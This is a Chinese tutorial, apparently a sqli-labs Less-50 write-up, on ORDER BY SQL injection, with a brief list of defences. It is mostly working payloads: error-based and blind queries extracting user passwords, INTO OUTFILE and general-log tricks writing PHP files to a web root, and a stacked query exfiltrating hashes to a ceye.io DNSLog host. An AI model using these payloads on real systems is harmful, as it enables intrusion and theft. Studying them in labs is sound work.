从sqli-labs Less - 50 全面分析order by后注入
字数 1024 2025-08-15 21:34:01

SQL注入进阶:ORDER BY后注入技术全面解析

1. ORDER BY注入概述

ORDER BY注入是一种特殊的SQL注入形式,发生在SQL查询的ORDER BY子句中。与WHERE子句后的注入不同,ORDER BY注入有其独特的特点和技术手段。

1.1 基本特征

  • 注入点位于ORDER BY子句
  • 不能使用UNION等常规注入技术
  • 可利用ORDER BY后的参数进行注入:ASC/DESC、LIMIT、PROCEDURE、INTO OUTFILE等

1.2 常见注入场景

SELECT * FROM users ORDER BY $id

其中$id是用户可控的输入参数。

2. 注入验证方法

2.1 排序验证

  • 升序验证:?sort=1 asc
  • 降序验证:?sort=1 desc

2.2 rand()函数验证

  • ?sort=rand(true)?sort=rand(false)结果不同
  • ?sort=rand()结果随机变化

2.3 延时验证

  • ?sort=sleep(1)
  • ?sort=(sleep(1))
  • ?sort=1 and sleep(1)

延时时间为(行数×延时秒数)

3. 注入技术分类

3.1 报错注入

3.1.1 使用AND连接

?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))

3.1.2 直接添加注入语句

?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))

3.2 PROCEDURE ANALYSE注入

仅适用于Linux环境:

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

3.3 布尔盲注

?sort=RAND(LEFT(database(),1)>'r')
?sort=RAND(LEFT(database(),1)>'s')

3.4 延时盲注

?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1)))
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1)))
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)

4. 文件操作技术

4.1 INTO OUTFILE导出数据

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"

4.2 利用LINES TERMINATED BY写shell

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

其中0x3c3f70687020706870696e666f28293b3f3e<?php phpinfo();?>的十六进制编码

5. 堆叠注入技术

当使用mysqli_multi_query函数时支持堆叠注入(多个SQL语句用分号分隔)

5.1 DNSLog数据外带

?sort=1;SELECT LOAD_FILE(CONCAT(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));

5.2 开启日志Getshell

?sort=1;set global general_log = "ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php';
?sort=1;select "<?php phpinfo();?>";

6. 防御建议

  1. 使用参数化查询或预处理语句
  2. 对用户输入进行严格过滤和验证
  3. 限制数据库用户权限,避免使用高权限账户
  4. 禁用不必要的MySQL功能(如INTO OUTFILE)
  5. 对错误信息进行统一处理,避免泄露敏感信息

7. 总结

ORDER BY注入是一种特殊的注入形式,需要掌握特定的技术手段。根据不同的环境和条件,可以选择报错注入、布尔盲注、延时盲注、文件导出或堆叠注入等技术。防御时需要特别注意ORDER BY子句的处理,不能仅关注WHERE子句的安全防护。

SQL注入进阶:ORDER BY后注入技术全面解析 1. ORDER BY注入概述 ORDER BY注入是一种特殊的SQL注入形式,发生在SQL查询的ORDER BY子句中。与WHERE子句后的注入不同,ORDER BY注入有其独特的特点和技术手段。 1.1 基本特征 注入点位于ORDER BY子句 不能使用UNION等常规注入技术 可利用ORDER BY后的参数进行注入:ASC/DESC、LIMIT、PROCEDURE、INTO OUTFILE等 1.2 常见注入场景 其中 $id 是用户可控的输入参数。 2. 注入验证方法 2.1 排序验证 升序验证: ?sort=1 asc 降序验证: ?sort=1 desc 2.2 rand()函数验证 ?sort=rand(true) 和 ?sort=rand(false) 结果不同 ?sort=rand() 结果随机变化 2.3 延时验证 ?sort=sleep(1) ?sort=(sleep(1)) ?sort=1 and sleep(1) 延时时间为(行数×延时秒数) 3. 注入技术分类 3.1 报错注入 3.1.1 使用AND连接 3.1.2 直接添加注入语句 3.2 PROCEDURE ANALYSE注入 仅适用于Linux环境: 3.3 布尔盲注 3.4 延时盲注 4. 文件操作技术 4.1 INTO OUTFILE导出数据 4.2 利用LINES TERMINATED BY写shell 其中 0x3c3f70687020706870696e666f28293b3f3e 是 <?php phpinfo();?> 的十六进制编码 5. 堆叠注入技术 当使用 mysqli_multi_query 函数时支持堆叠注入(多个SQL语句用分号分隔) 5.1 DNSLog数据外带 5.2 开启日志Getshell 6. 防御建议 使用参数化查询或预处理语句 对用户输入进行严格过滤和验证 限制数据库用户权限,避免使用高权限账户 禁用不必要的MySQL功能(如INTO OUTFILE) 对错误信息进行统一处理,避免泄露敏感信息 7. 总结 ORDER BY注入是一种特殊的注入形式,需要掌握特定的技术手段。根据不同的环境和条件,可以选择报错注入、布尔盲注、延时盲注、文件导出或堆叠注入等技术。防御时需要特别注意ORDER BY子句的处理,不能仅关注WHERE子句的安全防护。